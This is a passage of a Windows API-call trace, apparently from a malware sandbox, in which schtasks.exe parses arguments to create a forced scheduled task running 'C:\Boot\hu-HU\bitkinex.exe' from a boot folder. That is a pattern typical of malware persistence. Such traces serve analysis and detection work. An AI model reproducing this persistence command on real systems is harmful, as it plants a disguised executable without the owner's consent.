returned 5 [0061.587] lstrlenW (lpString="|tr|") returned 4 [0061.587] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0061.587] SetLastError (dwErrCode=0x490) [0061.587] lstrlenW (lpString="end") returned 3 [0061.587] lstrlenW (lpString="end") returned 3 [0061.587] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.588] lstrlenW (lpString="tr") returned 2 [0061.588] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.588] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|end|") returned 5 [0061.588] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.588] lstrlenW (lpString="|end|") returned 5 [0061.588] lstrlenW (lpString="|tr|") returned 4 [0061.588] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0061.588] SetLastError (dwErrCode=0x490) [0061.588] lstrlenW (lpString="showsid") returned 7 [0061.588] lstrlenW (lpString="showsid") returned 7 [0061.588] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.588] lstrlenW (lpString="tr") returned 2 [0061.588] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.588] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|showsid|") returned 9 [0061.588] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|tr|") returned 4 [0061.588] lstrlenW (lpString="|showsid|") returned 9 [0061.588] lstrlenW (lpString="|tr|") returned 4 [0061.588] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0061.588] SetLastError (dwErrCode=0x490) [0061.588] SetLastError (dwErrCode=0x490) [0061.588] SetLastError (dwErrCode=0x0) [0061.588] lstrlenW (lpString="/tr") returned 3 [0061.588] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0061.588] SetLastError (dwErrCode=0x490) [0061.588] SetLastError (dwErrCode=0x0) [0061.588] lstrlenW (lpString="/tr") returned 3 [0061.588] GetProcessHeap () returned 0x310000 [0061.588] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x8) returned 0x32c410 [0061.588] GetProcessHeap () returned 0x310000 [0061.588] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce30 [0061.588] SetLastError (dwErrCode=0x0) [0061.588] SetLastError (dwErrCode=0x0) [0061.588] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.589] lstrlenW (lpString="-/") returned 2 [0061.589] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0061.589] SetLastError (dwErrCode=0x490) [0061.589] SetLastError (dwErrCode=0x490) [0061.589] SetLastError (dwErrCode=0x0) [0061.589] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.589] StrChrIW (lpStart="'C:\\Boot\\hu-HU\\bitkinex.exe'", wMatch=0x3a) returned=":\\Boot\\hu-HU\\bitkinex.exe'" [0061.589] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32c430 [0061.589] _memicmp (_Buf1=0x32c430, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0xe) returned 0x32c450 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d600 [0061.589] _memicmp (_Buf1=0x32d600, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x3c) returned 0x329430 [0061.589] SetLastError (dwErrCode=0x7a) [0061.589] SetLastError (dwErrCode=0x0) [0061.589] SetLastError (dwErrCode=0x0) [0061.589] lstrlenW (lpString="'C") returned 2 [0061.589] lstrlenW (lpString="-/") returned 2 [0061.589] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0061.589] SetLastError (dwErrCode=0x490) [0061.589] SetLastError (dwErrCode=0x490) [0061.589] SetLastError (dwErrCode=0x0) [0061.589] lstrlenW (lpString="'C:\\Boot\\hu-HU\\bitkinex.exe'") returned 28 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x3a) returned 0x329480 [0061.589] GetProcessHeap () returned 0x310000 [0061.589] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce60 [0061.590] SetLastError (dwErrCode=0x0) [0061.590] SetLastError (dwErrCode=0x0) [0061.590] lstrlenW (lpString="/f") returned 2 [0061.590] lstrlenW (lpString="-/") returned 2 [0061.590] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0061.590] lstrlenW (lpString="?") returned 1 [0061.590] lstrlenW (lpString="?") returned 1 [0061.590] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.590] lstrlenW (lpString="f") returned 1 [0061.590] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.590] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|?|") returned 3 [0061.590] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.590] lstrlenW (lpString="|?|") returned 3 [0061.590] lstrlenW (lpString="|f|") returned 3 [0061.590] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0061.590] SetLastError (dwErrCode=0x490) [0061.590] lstrlenW (lpString="create") returned 6 [0061.590] lstrlenW (lpString="create") returned 6 [0061.590] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.590] lstrlenW (lpString="f") returned 1 [0061.590] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.590] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|create|") returned 8 [0061.590] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.590] lstrlenW (lpString="|create|") returned 8 [0061.590] lstrlenW (lpString="|f|") returned 3 [0061.590] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0061.590] SetLastError (dwErrCode=0x490) [0061.590] lstrlenW (lpString="delete") returned 6 [0061.590] lstrlenW (lpString="delete") returned 6 [0061.590] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] lstrlenW (lpString="f") returned 1 [0061.591] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|delete|") returned 8 [0061.591] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.591] lstrlenW (lpString="|delete|") returned 8 [0061.591] lstrlenW (lpString="|f|") returned 3 [0061.591] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0061.591] SetLastError (dwErrCode=0x490) [0061.591] lstrlenW (lpString="query") returned 5 [0061.591] lstrlenW (lpString="query") returned 5 [0061.591] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] lstrlenW (lpString="f") returned 1 [0061.591] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|query|") returned 7 [0061.591] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.591] lstrlenW (lpString="|query|") returned 7 [0061.591] lstrlenW (lpString="|f|") returned 3 [0061.591] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0061.591] SetLastError (dwErrCode=0x490) [0061.591] lstrlenW (lpString="change") returned 6 [0061.591] lstrlenW (lpString="change") returned 6 [0061.591] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] lstrlenW (lpString="f") returned 1 [0061.591] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.591] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|change|") returned 8 [0061.591] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.591] lstrlenW (lpString="|change|") returned 8 [0061.591] lstrlenW (lpString="|f|") returned 3 [0061.591] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0061.591] SetLastError (dwErrCode=0x490) [0061.591] lstrlenW (lpString="run") returned 3 [0061.592] lstrlenW (lpString="run") returned 3 [0061.592] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] lstrlenW (lpString="f") returned 1 [0061.592] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|run|") returned 5 [0061.592] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.592] lstrlenW (lpString="|run|") returned 5 [0061.592] lstrlenW (lpString="|f|") returned 3 [0061.592] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0061.592] SetLastError (dwErrCode=0x490) [0061.592] lstrlenW (lpString="end") returned 3 [0061.592] lstrlenW (lpString="end") returned 3 [0061.592] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] lstrlenW (lpString="f") returned 1 [0061.592] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|end|") returned 5 [0061.592] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.592] lstrlenW (lpString="|end|") returned 5 [0061.592] lstrlenW (lpString="|f|") returned 3 [0061.592] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0061.592] SetLastError (dwErrCode=0x490) [0061.592] lstrlenW (lpString="showsid") returned 7 [0061.592] lstrlenW (lpString="showsid") returned 7 [0061.592] _memicmp (_Buf1=0x32c1c0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] lstrlenW (lpString="f") returned 1 [0061.592] _memicmp (_Buf1=0x32c300, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.592] _vsnwprintf (in: _Buffer=0x32c340, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|showsid|") returned 9 [0061.592] _vsnwprintf (in: _Buffer=0x32c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff658 | out: _Buffer="|f|") returned 3 [0061.592] lstrlenW (lpString="|showsid|") returned 9 [0061.592] lstrlenW (lpString="|f|") returned 3 [0061.593] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0061.593] SetLastError (dwErrCode=0x490) [0061.593] SetLastError (dwErrCode=0x490) [0061.593] SetLastError (dwErrCode=0x0) [0061.593] lstrlenW (lpString="/f") returned 2 [0061.593] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0061.593] SetLastError (dwErrCode=0x490) [0061.593] SetLastError (dwErrCode=0x0) [0061.593] lstrlenW (lpString="/f") returned 2 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x6) returned 0x32ddd0 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce90 [0061.593] SetLastError (dwErrCode=0x0) [0061.593] GetProcessHeap () returned 0x310000 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0) returned 1 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c2e0) returned 0x8 [0061.593] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c2e0 | out: hHeap=0x310000) returned 1 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10) returned 1 [0061.593] GetProcessHeap () returned 0x310000 [0061.593] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd10) returned 0x20 [0061.594] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd10 | out: hHeap=0x310000) returned 1 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c370) returned 1 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c370) returned 0x14 [0061.594] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c370 | out: hHeap=0x310000) returned 1 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40) returned 1 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd40) returned 0x20 [0061.594] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd40 | out: hHeap=0x310000) returned 1 [0061.594] GetProcessHeap () returned 0x310000 [0061.594] GetProcessHeap () returned 0x310000 [0061.595] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c390) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c390) returned 0x8 [0061.595] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c390 | out: hHeap=0x310000) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd70) returned 0x20 [0061.595] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd70 | out: hHeap=0x310000) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3b0) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3b0) returned 0xe [0061.595] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3b0 | out: hHeap=0x310000) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0) returned 1 [0061.595] GetProcessHeap () returned 0x310000 [0061.595] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cda0) returned 0x20 [0061.596] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cda0 | out: hHeap=0x310000) returned 1 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3d0) returned 1 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3d0) returned 0x8 [0061.596] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3d0 | out: hHeap=0x310000) returned 1 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0) returned 1 [0061.596] GetProcessHeap () returned 0x310000 [0061.596] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cdd0) returned 0x20 [0061.597] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cdd0 | out: hHeap=0x310000) returned 1 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3f0) returned 1 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c3f0) returned 0x6 [0061.598] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c3f0 | out: hHeap=0x310000) returned 1 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00) returned 1 [0061.598] GetProcessHeap () returned 0x310000 [0061.598] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce00) returned 0x20 [0061.599] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce00 | out: hHeap=0x310000) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32c410) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32c410) returned 0x8 [0061.599] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32c410 | out: hHeap=0x310000) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce30) returned 0x20 [0061.599] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce30 | out: hHeap=0x310000) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x329480) returned 1 [0061.599] GetProcessHeap () returned 0x310000 [0061.599] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x329480) returned 0x3a [0061.600] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x329480 | out: hHeap=0x310000) returned 1 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60) returned 1 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce60) returned 0x20 [0061.600] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce60 | out: hHeap=0x310000) returned 1 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0) returned 1 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddd0) returned 0x6 [0061.600] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0 | out: hHeap=0x310000) returned 1 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] GetProcessHeap () returned 0x310000 [0061.600] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90) returned 1 [0061.601] GetProcessHeap () returned 0x310000 [0061.601] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ce90) returned 0x20 [0061.601] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ce90 | out: hHeap=0x310000) returned 1 [0061.601] GetProcessHeap () returned 0x310000 [0061.601] GetProcessHeap () returned 0x310000 [0061.601] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0) returned 1 [0061.601] GetProcessHeap () returned 0x310000 [0061.601] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32bab0) returned 0x18 [0061.601] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32bab0 | out: hHeap=0x310000) returned 1 [0061.601] SetLastError (dwErrCode=0x0) [0061.601] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0061.601] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0061.601] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0061.601] VerifyVersionInfoW (in: lpVersionInformation=0x1fc6b0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1fc6b0) returned 1 [0061.601] SetLastError (dwErrCode=0x0) [0061.602] lstrlenW (lpString="create") returned 6 [0061.602] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0061.602] SetLastError (dwErrCode=0x490) [0061.602] SetLastError (dwErrCode=0x0) [0061.602] lstrlenW (lpString="create") returned 6 [0061.602] GetProcessHeap () returned 0x310000 [0061.602] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce90 [0061.602] GetProcessHeap () returned 0x310000 [0061.602] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d620 [0061.602] _memicmp (_Buf1=0x32d620, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.602] GetProcessHeap () returned 0x310000 [0061.602] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d640 [0061.602] SetLastError (dwErrCode=0x0) [0061.602] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.602] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bd10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0061.602] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0061.602] GetProcessHeap () returned 0x310000 [0061.602] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32ddd0 [0061.603] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32ddd0 | out: lpData=0x32ddd0) returned 1 [0061.603] VerQueryValueW (in: pBlock=0x32ddd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1fc798, puLen=0x1fc800 | out: lplpBuffer=0x1fc798*=0x32e16c, puLen=0x1fc800) returned 1 [0061.603] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.603] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1fc778 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0061.603] VerQueryValueW (in: pBlock=0x32ddd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1fc808, puLen=0x1fc7f8 | out: lplpBuffer=0x1fc808*=0x32df98, puLen=0x1fc7f8) returned 1 [0061.603] lstrlenW (lpString="schtasks.exe") returned 12 [0061.603] lstrlenW (lpString="schtasks.exe") returned 12 [0061.603] lstrlenW (lpString=".EXE") returned 4 [0061.603] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0061.603] lstrlenW (lpString="schtasks.exe") returned 12 [0061.603] lstrlenW (lpString=".EXE") returned 4 [0061.603] lstrlenW (lpString="schtasks") returned 8 [0061.603] lstrlenW (lpString="/create") returned 7 [0061.603] _memicmp (_Buf1=0x32bb70, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.603] _vsnwprintf (in: _Buffer=0x32bd10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x1fc778 | out: _Buffer="schtasks /create") returned 16 [0061.603] _memicmp (_Buf1=0x32bb90, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.603] GetProcessHeap () returned 0x310000 [0061.603] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32ce60 [0061.603] _memicmp (_Buf1=0x32bbb0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0061.603] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d3c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0061.604] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0061.604] GetProcessHeap () returned 0x310000 [0061.604] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327bc0 [0061.604] _vsnwprintf (in: _Buffer=0x32c110, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1fc778 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0061.604] GetProcessHeap () returned 0x310000 [0061.604] GetProcessHeap () returned 0x310000 [0061.604] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0) returned 1 [0061.604] GetProcessHeap () returned 0x310000 [0061.604] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddd0) returned 0x74e [0061.604] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddd0 | out: hHeap=0x310000) returned 1 [0061.604] SetLastError (dwErrCode=0x0) [0061.604] GetThreadLocale () returned 0x409 [0061.604] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.604] lstrlenW (lpString="create") returned 6 [0061.604] GetThreadLocale () returned 0x409 [0061.604] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="?") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="s") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="u") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="p") returned 1 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="ru") returned 2 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0061.605] lstrlenW (lpString="rp") returned 2 [0061.605] GetThreadLocale () returned 0x409 [0061.605] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", 